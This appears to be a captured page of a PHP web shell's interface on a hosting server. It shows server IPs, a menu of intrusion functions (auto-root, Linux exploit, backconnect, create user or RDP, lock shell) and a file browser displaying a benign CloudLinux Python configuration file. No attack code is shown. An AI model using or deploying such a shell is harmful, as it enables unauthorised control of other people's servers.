Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 3.138.124.135
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
clcagefslib /
selector /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
panel
[ DIR ]
drwxr-xr-x
__init__.py
180
B
-rw-r--r--
configure.py
8.99
KB
-rw-r--r--
paths.py
1.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : paths.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import functools import os from clcagefslib.const import CL_ALT_CONF, CL_ALT_CAGEFS_CONF from clcagefslib.io import read_file_cached from clcommon.clcagefs import in_cagefs # Reads config file and returns paths to alternative binaries (as dictionary) def get_alt_paths(php_state=None): cl_alt_conf = CL_ALT_CAGEFS_CONF if in_cagefs() else CL_ALT_CONF alt_paths = {} if os.path.isfile(cl_alt_conf): lines = read_file_cached(cl_alt_conf) for line in lines: line = line.rstrip() if line != "": ar = line.split() if len(ar) == 4: vers = ar[1] if (php_state is None) or (vers not in php_state) or (php_state[vers]): path = ar[3] alt_paths[path] = 1 return alt_paths # Returns list of dirnames like ['php51', 'php52'] @functools.cache def get_alt_dirs(): alt_paths = get_alt_paths() alt_dirs = {} for path in alt_paths: # Split string like "/opt/alt/php51/usr/bin/php" ar = path.split('/') dirname = ar[3] if dirname.startswith('php') and dirname[len('php'):].isnumeric(): alt_dirs[dirname] = 1 return list(alt_dirs.keys())
Close